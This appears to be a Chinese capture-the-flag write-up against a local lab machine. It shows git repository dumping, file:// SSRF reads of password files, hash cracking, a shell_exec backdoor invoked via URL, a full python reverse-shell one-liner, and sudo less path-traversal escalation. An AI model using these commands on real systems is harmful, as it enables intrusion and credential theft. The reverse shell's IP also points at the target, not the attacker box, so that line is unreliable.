实验环境:
kali:192.168.106.100/24
靶机:192.168.106.104/24
一.信息收集
先利用nmap对同网段进行扫描
nmap -sP 192.168.106.0/24发现靶机IP为192.168.106.104/24
接着用nmap对192.168.106.104进行端口扫描
nmap -sV -sT -P- 192.168.106.104
接着进行信息收集,用dirsearch进行扫描
dirsearch -u http://192.168.106.104 -e php,txt,bak,swp,old,phps,json扫描结果发现存在大量.git,.htaccess,.htpasswd等敏感文件
二.GIT信息泄露
先从.git入手,使用git-dumper工具将整个仓库一起拉取到本地,获取应用源代码
git-dumper http://192.168.106.104/.git/ /tmp/git-dumper
查看db.php

获取数据库用户名和密码
查看api下的admin_panel文件,发现其包含了input_token
$auth_hash = '9f9d51bc70ef21ca5c14f307980a29d8';
if (md5($input_token) === $auth_hash) {
$authenticated = true;
if (isset($_GET['exec'])) {
$output = shell_exec($_GET['exec']);
}
}此处为后续所需的运维令牌,后续在管理界面发现token长度检验为3位,加密方式为MD5(密码+时间戳),进行破译后得到token:bob
三.获取flag1
访问Web网页

试图用万能密码进行绕过,但以失败告终。注册了一个新用户进行登录,发现内部包含URL检测和模块加载器
URL检测使用curl发起请求,支持file://协议,利用该协议读取/etc/passwd,发现存在mysql以及用户liwei
file://etc/passwd
利用file://协议读取Apache的.htaccess配置文件
file:///var/www/html/api/.htaccess
得知.htpasswd密码文件路径
用同样的方式去读取.htpasswd
file:///var/www/html/api/.htpasswd获得用户zhangwei的密码,对其进行解密,获得密码:trustno1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt利用该用户身份进行API 认证,认证通过。
构造url去读取flag1文件
http://192.168.106.104/api/loader.php?module=admin_panel&token=bob&exec=cat+/var/www/flag1.txt四.获取flag2
构造url进行反弹shell,在kali上进行监听,成功反弹shell
http://192.168.106.104/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.106.104",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'连接数据库,查看users表格,获取admin的密码

密码破译:dragon
存在密码复用,切换用户liwei,该用户密码与admin一致
su liwei #输入密码:dragon回到liwei用户家目录,获取flag2.txt内容

五.获取flag3
利用sudo -l,发现
发现有NOPASSWD的权利:(ALL) NOPASSWD: /usr/bin/less /var/log/abyss/*
利用路径遍历绕过限制:
sudo/usr/bin/less /var/log/abyss/../../../flag3.txt成功读取 flag3:
